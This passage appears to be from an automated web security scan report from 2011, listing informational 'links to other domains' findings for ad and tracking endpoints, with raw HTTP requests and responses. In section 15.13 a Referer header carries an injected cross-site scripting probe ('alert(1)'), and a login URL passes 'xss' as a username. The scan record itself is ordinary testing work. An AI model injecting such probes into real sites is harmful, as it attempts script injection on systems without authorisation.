http://seg.sharethis.com/adxmapping.php?stid=i-048AA00A35CF5E4EC53E553302EE710A&google_error=1

Request

GET /pixel?google_nid=sha&google_cm&stid=i-048AA00A35CF5E4EC53E553302EE710A HTTP/1.1
Host: cm.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://seg.sharethis.com/getSegment.php?purl=http%3A%2F%2Fwww.blackbaud.com%2F&jsref=&rnd=1316204996203
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 302 Found
Location: http://seg.sharethis.com/adxmapping.php?stid=i-048AA00A35CF5E4EC53E553302EE710A&google_error=1
Cache-Control: no-store, no-cache
Pragma: no-cache
Date: Fri, 16 Sep 2011 15:29:21 GMT
Content-Type: text/html; charset=UTF-8
Server: Cookie Matcher
Content-Length: 295
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://seg.sharethis.com/adxmapping.php?stid=i-048AA00A35CF5E4EC53E553302EE710A&google_error=1">here</A>
...[SNIP]...

15.13. http://cm.g.doubleclick.net/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cm.g.doubleclick.net
Path:	/pixel

Issue detail

The page was loaded from a URL containing a query string:

http://cm.g.doubleclick.net/pixel?google_nid=tellapart&google_cm=&google_sc=&uid=ABJeb18VhNcIWNBiY8iz5yqIkxVXF9PTu4BHUvVUgcYk6QETsn4m8yKwfsuKVAjMiQ9R3jCF6O_k1Z9FIVnUakenjO1Gd16D2g

The response contains the following link to another domain:

http://a.tellapart.com/dclkmatch?nid=&uid=ABJeb18VhNcIWNBiY8iz5yqIkxVXF9PTu4BHUvVUgcYk6QETsn4m8yKwfsuKVAjMiQ9R3jCF6O_k1Z9FIVnUakenjO1Gd16D2g&google_gid=CAESEPZT2rTkQ6LcywV81v2MJ28&google_cver=1

Request

GET /pixel?google_nid=tellapart&google_cm=&google_sc=&uid=ABJeb18VhNcIWNBiY8iz5yqIkxVXF9PTu4BHUvVUgcYk6QETsn4m8yKwfsuKVAjMiQ9R3jCF6O_k1Z9FIVnUakenjO1Gd16D2g HTTP/1.1
Host: cm.g.doubleclick.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://t.tellapart.com/hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==bd591%22%3balert(1)//e15fc9eb3e7&tms=1316208686167
Cookie: id=229a9504260100ca||t=1312233693|et=730|cs=002213fd4876a8a011eba88ea7

Response

HTTP/1.1 302 Found
Location: http://a.tellapart.com/dclkmatch?nid=&uid=ABJeb18VhNcIWNBiY8iz5yqIkxVXF9PTu4BHUvVUgcYk6QETsn4m8yKwfsuKVAjMiQ9R3jCF6O_k1Z9FIVnUakenjO1Gd16D2g&google_gid=CAESEPZT2rTkQ6LcywV81v2MJ28&google_cver=1
Cache-Control: no-store, no-cache
Pragma: no-cache
Date: Fri, 16 Sep 2011 16:36:46 GMT
Content-Type: text/html; charset=UTF-8
Server: Cookie Matcher
Content-Length: 402
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://a.tellapart.com/dclkmatch?nid=&uid=ABJeb18VhNcIWNBiY8iz5yqIkxVXF9PTu4BHUvVUgcYk6QETsn4m8yKwfsuKVAjMiQ9R3jCF6O_k1Z9FIVnUakenjO1Gd16D2g&google_gid=CAESEPZT2rTkQ6LcywV81v2MJ28&google_cver=1">here</A>
...[SNIP]...

15.14. https://dev.opera.com/login/wronglogin.dml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://dev.opera.com
Path:	/login/wronglogin.dml

Issue detail

The page was loaded from a URL containing a query string:

https://dev.opera.com/login/wronglogin.dml?username=xss&ref=http%3A%2F%2Fdev.opera.com%2Farticles%2Fjavascript%2F

The response contains the following links to other domains:

https://static.myopera.com/community/css/loginsignup.css
https://static.myopera.com/community/graphics/info.png
https://static.myopera.com/favicon.ico

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 16:24:24 GMT
Content-Type: text/html
Connection: keep-alive
X-MyO-Request: 1316190264.myo.cDoyNzowMzowMA==
Front-End-Https: on
Content-Length: 3033

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="google-site-verification" content="L7q_7GF5c9d7ZAUYdfaTiRaB6sTAGv_cRz3nq5DsabM">
...[SNIP]...
</title>
<link rel="shortcut icon" href="https://static.myopera.com:443/favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="https://static.myopera.com/community/css/loginsignup.css" type="text/css">
<!--[if lte IE 8]>
...[SNIP]...
<p><img src="https://static.myopera.com/community/graphics/info.png" width="17" height="17" alt=""> Have you <a href="/login/lost-password">
...[SNIP]...

15.15. http://go.icontact.com/SEM/AP previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP

Issue detail

The page was loaded from a URL containing a query string:

http://go.icontact.com/SEM/AP?ga_campaign=(roi)+moved+ad+groups&ga_adgroup=smtp+service&ga_keyword=SMTP%20service&afid=164592&gclid=COWek_yJoqsCFQhrgwodLzuGZg

The response contains the following link to another domain:

https://fls.doubleclick.net/activityi;src=1661185;type=tflan342;cat=tfl413;ord=1?

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:21 GMT
Content-Length: 9138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_page_ti
...[SNIP]...
<noscript> ...<iframe src="https://fls.doubleclick.net/activityi;src=1661185;type=tflan342;cat=tfl413;ord=1?"; width="1" height="1" frameborder="0" style="display:none"></iframe>
...[SNIP]...

15.16. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226345&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DOpera%2520Portal&dt=1316208345291&bpp=83&shv=r20110907&jsv=r20110914&correlator=1316208345376&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=29688395&ga_fc=1&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&biw=1131&bih=870&eid=36887101&ref=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=89&xpc=BpvUCbRbcD&p=http%3A//portal.opera.com

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/images/ad_choices_en.png
http://pagead2.googlesyndication.com/pagead/images/ad_choices_i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=COXy9IKJpciyAhCsAhj6ATII9S-En_w6q90
http://pagead2.googlesyndication.com/pagead/js/r20110907/r20110914/abg.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://portal.opera.com/portal/tabs/%253Ftab_name%253DOpera%252520Portal%26hl%3Den%26client%3Dca-pub-3796773913386149%26adU%3Dwww.zoosk.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNE-hVbM3OcT1ALmR8Zysmx0bogKQw

Request

GET /pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226345&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DOpera%2520Portal&dt=1316208345291&bpp=83&shv=r20110907&jsv=r20110914&correlator=1316208345376&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=29688395&ga_fc=1&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&biw=1131&bih=870&eid=36887101&ref=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=89&xpc=BpvUCbRbcD&p=http%3A//portal.opera.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Fri, 16 Sep 2011 16:24:58 GMT
Server: cafe
Cache-Control: private
Content-Length: 4298
X-XSS-Protection: 1; mode=block

<html><head><style></style><script><!--
(function(){window.ss=function(a){window.sta
...[SNIP]...
<div id="google_flash_div" style="position:absolute;left:0px;z-index:1001"><OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="google_flash_obj" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" WIDTH="300" HEIGHT="250"><PARAM NAME=movie VALUE="http://pagead2.googlesyndication.com/pagead/imgad?id=COXy9IKJpciyAhCsAhj6ATII9S-En_w6q90">
...[SNIP]...
%26num%3D1%26sig%3DAOD64_0pVXanofzXc33vPtsAg6CeVrIj3Q%26client%3Dca-pub-3796773913386149%26adurl%3Dhttp://www.Zoosk.com/d/dating2/35/%253Ffrom%253DAW_M0_WW_03_US*000781-007617-000014_portal.opera.com"><EMBED src="http://pagead2.googlesyndication.com/pagead/imgad?id=COXy9IKJpciyAhCsAhj6ATII9S-En_w6q90" id="google_flash_embed" WIDTH="300" HEIGHT="250" WMODE="opaque" FlashVars="clickTAG=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBmem5WnhzTrfOAdGIgAL7obH6BuO-kIkC2-aPux2zgsqyUbDjLRABGAEgsLnXBjgAUIzepz5gyQagAcn29-4DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQTaATxodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS9wb3J0YWwvdGFicy8_dGFiX25hbWU9T3BlcmElMjBQb3J0YWz4AQGAAgG4AhjAAgHIApvs9hKoAwHoA4wD6AOdCegD0wH1AwAIAAH1AzAAAACgBgQ%26num%3D1%26sig%3DAOD64_0pVXanofzXc33vPtsAg6CeVrIj3Q%26client%3Dca-pub-3796773913386149%26adurl%3Dhttp://www.Zoosk.com/d/dating2/35/%253Ffrom%253DAW_M0_WW_03_US*000781-007617-000014_portal.opera.com" TYPE="application/x-shockwave-flash" AllowScriptAccess="never" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED>
...[SNIP]...
<div id=abgb><img src='http://pagead2.googlesyndication.com/pagead/images/ad_choices_i.png' alt="(i)" border=0 height=15px width=19px/></div><div id=abgs><a href="http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://portal.opera.com/portal/tabs/%253Ftab_name%253DOpera%252520Portal%26hl%3Den%26client%3Dca-pub-3796773913386149%26adU%3Dwww.zoosk.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNE-hVbM3OcT1ALmR8Zysmx0bogKQw" target=_blank><img alt="AdChoices" border=0 height=15px src=http://pagead2.googlesyndication.com/pagead/images/ad_choices_en.png width=77px/></a>
...[SNIP]...
</script><script src="http://pagead2.googlesyndication.com/pagead/js/r20110907/r20110914/abg.js"></script>
...[SNIP]...

15.17. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5747035432214533&output=html&h=600&slotname=9883505063&w=160&lmt=1316207685&flash=10.3.183&url=http%3A%2F%2Fwww.bookkeepers.com.au%2F&dt=1316207735990&bpp=4169&shv=r20110907&jsv=r20110914&prev_slotnames=3706610610&correlator=1316207740186&frm=4&adk=1010463903&ga_vid=2016915880.1316207740&ga_sid=1316207740&ga_hid=167560056&ga_fc=1&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=810&ady=390&biw=1131&bih=870&eid=44901218%2C36887102&ref=http%3A%2F%2Fwww.visisearch.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=2&dtd=8217&xpc=cF1oLRyU5D&p=http%3A//www.bookkeepers.com.au

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/adc-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.bookkeepers.com.au/%26hl%3Den%26client%3Dca-pub-5747035432214533%26adU%3Dwww.appliededucation.com.au%26adT%3DBookkeeping%2BAnd%2BPayroll%26adU%3Dwww.scitraining.com%26adT%3DBookkeeping%2BCourses%26adU%3DGoodAccountants.com/Local-Services%26adT%3DNeed%2BA%2BGood%2BBookkeeper%253F%26adU%3Dwww.CampusExplorer.com%26adT%3DStudy%2BBookkeeping%26adU%3Dwww.QuickBooksOnline.com%26adT%3DEasy%2BBookkeeping%26gl%3DUS&usg=AFQjCNGAx7fqIbB1_Ot9F--XB2cyJC1FhA

Request

GET /pagead/ads?client=ca-pub-5747035432214533&output=html&h=600&slotname=9883505063&w=160&lmt=1316207685&flash=10.3.183&url=http%3A%2F%2Fwww.bookkeepers.com.au%2F&dt=1316207735990&bpp=4169&shv=r20110907&jsv=r20110914&prev_slotnames=3706610610&correlator=1316207740186&frm=4&adk=1010463903&ga_vid=2016915880.1316207740&ga_sid=1316207740&ga_hid=167560056&ga_fc=1&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=810&ady=390&biw=1131&bih=870&eid=44901218%2C36887102&ref=http%3A%2F%2Fwww.visisearch.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=2&dtd=8217&xpc=cF1oLRyU5D&p=http%3A//www.bookkeepers.com.au HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

15.18. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5747035432214533&output=html&h=90&slotname=3706610610&w=728&lmt=1316207685&flash=10.3.183&url=http%3A%2F%2Fwww.bookkeepers.com.au%2F&dt=1316207735903&bpp=17&shv=r20110907&jsv=r20110914&correlator=1316207740186&frm=4&adk=1292839352&ga_vid=2016915880.1316207740&ga_sid=1316207740&ga_hid=167560056&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&biw=1131&bih=870&eid=44901218%2C36887101&ref=http%3A%2F%2Fwww.visisearch.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=4464&xpc=xZLYf81nzv&p=http%3A//www.bookkeepers.com.au

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/adc-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.bookkeepers.com.au/%26hl%3Den%26client%3Dca-pub-5747035432214533%26adU%3DColleges.CampusCorner.com%26adT%3DBookkeeping%2BSchools%26adU%3Dwww.PennFoster.edu%26adT%3DBookkeeping%2BTraining%26adU%3DBooks2Taxes.com%26adT%3DBookkeeping%2BService%2B%25247/hr%26gl%3DUS&usg=AFQjCNHdgKLycorz_yAkLboGcDc0034bjA

Request

GET /pagead/ads?client=ca-pub-5747035432214533&output=html&h=90&slotname=3706610610&w=728&lmt=1316207685&flash=10.3.183&url=http%3A%2F%2Fwww.bookkeepers.com.au%2F&dt=1316207735903&bpp=17&shv=r20110907&jsv=r20110914&correlator=1316207740186&frm=4&adk=1292839352&ga_vid=2016915880.1316207740&ga_sid=1316207740&ga_hid=167560056&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&biw=1131&bih=870&eid=44901218%2C36887101&ref=http%3A%2F%2Fwww.visisearch.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=4464&xpc=xZLYf81nzv&p=http%3A//www.bookkeepers.com.au HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

15.19. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226341&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&dt=1316208341657&bpp=148&shv=r20110907&jsv=r20110914&correlator=1316208341881&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=320694430&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=739&ady=181&biw=1131&bih=870&eid=36887102&ref=http%3A%2F%2Fportal.opera.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=240&xpc=Nxfq0ro1Gs&p=http%3A//portal.opera.com

The response contains the following links to other domains:

http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B1e2aV3hzTu3fNNGGgAKz09XuBsL17uACur-rqCqi06q2TbDqARABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaATJodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS9wb3J0YWwvdGFicy8_dGFiX25hbWU9TmV3c7gCGMACAcgCmofBIKgDAegDjAPoA8QH6AMQ6AOdCegDpQH1AwAIAAD1AzAAgAGgBhE&num=1&sig=AOD64_3w5cVII6c9Oj6InkJ2H7wJTjrD-A&client=ca-pub-3796773913386149&adurl=
http://pagead2.googlesyndication.com/pagead/images/ad_choices_en.png
http://pagead2.googlesyndication.com/pagead/images/ad_choices_i.png
http://pagead2.googlesyndication.com/pagead/js/r20110907/r20110914/abg.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://portal.opera.com/portal/tabs/%253Ftab_name%253DNews%26hl%3Den%26client%3Dca-pub-3796773913386149%26adU%3Dhealthheadlines.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNF6W_9HhFuuqreLGXyyKSTgZcgLLA

Request

GET /pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226341&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&dt=1316208341657&bpp=148&shv=r20110907&jsv=r20110914&correlator=1316208341881&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=320694430&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=739&ady=181&biw=1131&bih=870&eid=36887102&ref=http%3A%2F%2Fportal.opera.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=240&xpc=Nxfq0ro1Gs&p=http%3A//portal.opera.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

15.20. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226009&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2F&dt=1316208008700&bpp=201&shv=r20110907&jsv=r20110914&correlator=1316208009033&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=212708364&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&biw=1131&bih=870&eid=36887101&ref=http%3A%2F%2Fwww.opera.com%2Fcompany%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=423&xpc=B211ORtJZa&p=http%3A//portal.opera.com

The response contains the following links to other domains:

http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=
http://pagead2.googlesyndication.com/pagead/images/ad_choices_en.png
http://pagead2.googlesyndication.com/pagead/images/ad_choices_i.png
http://pagead2.googlesyndication.com/pagead/js/r20110907/r20110914/abg.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://portal.opera.com/%26hl%3Den%26client%3Dca-pub-3796773913386149%26adU%3Dhealthheadlines.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNEnO7vFGFDZjixv_uN-otcKDOp9dQ

Request

GET /pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226009&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2F&dt=1316208008700&bpp=201&shv=r20110907&jsv=r20110914&correlator=1316208009033&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=212708364&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&biw=1131&bih=870&eid=36887101&ref=http%3A%2F%2Fwww.opera.com%2Fcompany%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=423&xpc=B211ORtJZa&p=http%3A//portal.opera.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

15.21. http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1071433059/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/viewthroughconversion/1071433059/

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1071433059/?random=1316205016181&cv=6&fst=1316205016181&num=1&fmt=1&value=1200&label=6N1uCOmL7QEQ44rz_gM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=7&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.port25.com/products/prod_eval.html&url=http%3A//www.port25.com/products/prod_evalthanks.html&ctc_id=CAEVAQAAAB0BAAAA&ct_cookie_present=true

The response contains the following link to another domain:

https://services.google.com/sitestats/en.html?cid=1071433059

Request

GET /pagead/viewthroughconversion/1071433059/?random=1316205016181&cv=6&fst=1316205016181&num=1&fmt=1&value=1200&label=6N1uCOmL7QEQ44rz_gM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=7&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.port25.com/products/prod_eval.html&url=http%3A//www.port25.com/products/prod_evalthanks.html&ctc_id=CAEVAQAAAB0BAAAA&ct_cookie_present=true HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.port25.com/products/prod_evalthanks.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
